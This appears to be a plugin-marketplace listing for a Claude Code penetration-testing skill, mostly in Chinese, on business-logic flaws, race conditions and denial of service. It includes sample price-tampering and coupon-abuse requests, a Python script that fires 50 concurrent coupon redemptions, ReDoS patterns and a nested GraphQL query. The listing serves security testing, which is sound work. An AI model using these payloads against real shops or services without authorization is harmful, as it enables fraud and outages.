/vuln-skills:pentest-business-logicfrom vuln-skills
Guides penetration testing of business logic flaws, race conditions, and denial of service vulnerabilities including ReDoS, resource exhaustion, and rate limiting bypass.
Ships in vuln-skills. Installing the plugin adds it to Claude Code.
What the skill costs in Claude's context, stage by stage
Name and description: Claude knows it exists.
SKILL.md joins the conversation and stays.
Read when SKILL.md points to them.
当对 Web 应用进行业务逻辑和拒绝服务渗透测试时加载此 Skill。覆盖逻辑缺陷、竞态条件、资源耗尽等。
业务逻辑高风险区域:
DoS 攻击面:
竞态条件目标:
业务逻辑绕过:
# 价格篡改
POST /api/checkout {"item_id": 123, "price": 0.01} # 修改前端传递的价格
# 负数量
POST /api/cart {"item_id": 123, "quantity": -1} # 负数量可能导致退款
# 工作流跳步
# Step 1: 填写信息 → Step 2: 验证 → Step 3: 确认
# 直接请求 Step 3 的 API,跳过 Step 2 验证
# 参数污染
POST /api/apply-coupon {"coupon": "SAVE50", "coupon": "SAVE50"} # 双重应用
竞态条件利用:
# 并发请求(使用相同优惠券)
import asyncio, aiohttp
async def redeem(session, url, coupon):
return await session.post(url, json={"coupon": coupon})
async def race():
async with aiohttp.ClientSession() as session:
tasks = [redeem(session, url, "COUPON123") for _ in range(50)]
results = await asyncio.gather(*tasks)
success = sum(1 for r in results if r.status == 200)
print(f"Redeemed {success} times") # 应该只成功1次
ReDoS(正则表达式拒绝服务):
# 典型易受攻击的正则
(a+)+b → 输入: "aaaaaaaaaaaaaaaaaa!"
(a|a)+b → 指数级回溯
([a-zA-Z]+)*@ → 邮箱验证
# 测试方法:发送使正则回溯的长输入
aaaaaaaaaaaaaaaaaaaaaaaaaaaa!
HTTP/2 DoS:
应用层 DoS:
{ user { friends { friends { friends { ... } } } } }漏洞利用可达到的效果:
严重度判断:
以下案例来自 HackerOne 公开披露的真实漏洞报告,展示了该类漏洞在实际目标中的表现形式。
A vulnerability was discovered in Apache Tomcat versions between 11.0.0-M1 and 11.0.0-M20, 10.1.0-M1 and 10.1.24, and 9.0.0-M1 and 9.0.89...
What SKILL.md sets; muted values are Claude Code's defaults
Three short reads, in order
npx claudepluginhub yhy0/ghsa-skill-builder --plugin vuln-skills26 skills in this plugin
/go-vuln-auth-bypassUse when auditing Go code involving authentication flows, RBAC policies, Kubernetes admission webhooks, JWT/OAuth token validation, or privilege escalation in cloud-native infrastructure. Covers CWE-287/863/269/284/285/862. Keywords: authentication bypass, authorization bypass, RBAC, admission webhook, JWT, OAuth, privilege escalation, Rancher, Kyverno, impersonation, namespace isolation, middleware auth/go-vuln-crypto-tlsUse when auditing Go code involving TLS configuration, certificate validation, JWT token parsing, SAML assertion verification, webhook signature checking, or cryptographic operations. Covers CWE-295/347/345. Keywords: InsecureSkipVerify, TLS, mTLS, certificate validation, JWT algorithm, SAML signature, cosign, sigstore, hmac.Equal, X.509, webhook HMAC/go-vuln-dosUse when auditing Go code involving goroutine management, channel operations, HTTP request handling, resource allocation, or panic recovery. Covers CWE-400/770/476. Keywords: denial of service, goroutine leak, channel deadlock, panic recover, io.ReadAll, resource exhaustion, OOM, HTTP/2 abuse, protobuf, unbounded allocation, rate limiting/go-vuln-info-disclosureUse when auditing Go code involving logging, error handling, HTTP response data, Kubernetes Secret management, or credential storage. Covers CWE-200/532/522/312/552. Keywords: information disclosure, credential leak, log exposure, Kubernetes Secret, json tag, struct formatting, error message, stack trace, Rancher, Argo CD, sensitive data/go-vuln-injectionUse when auditing Go code involving OS command execution, SQL queries, template rendering, or child command invocation. Covers CWE-78/89/77/94/88. Keywords: command injection, SQL injection, exec.Command, os/exec, database/sql, text/template, html/template, argument injection, shell injection, Gogs, Grafana, MCP stdio/go-vuln-path-traversalUse when auditing Go code involving file path operations, archive extraction, symlink handling, container volume mounts, or HTTP file serving. Covers CWE-22/59. Keywords: path traversal, directory traversal, filepath.Join, symlink, archive extraction, zip slip, tar, volume mount, go-git, Helm chart, os.Open, filepath.CleanOther plugins' skills for the same job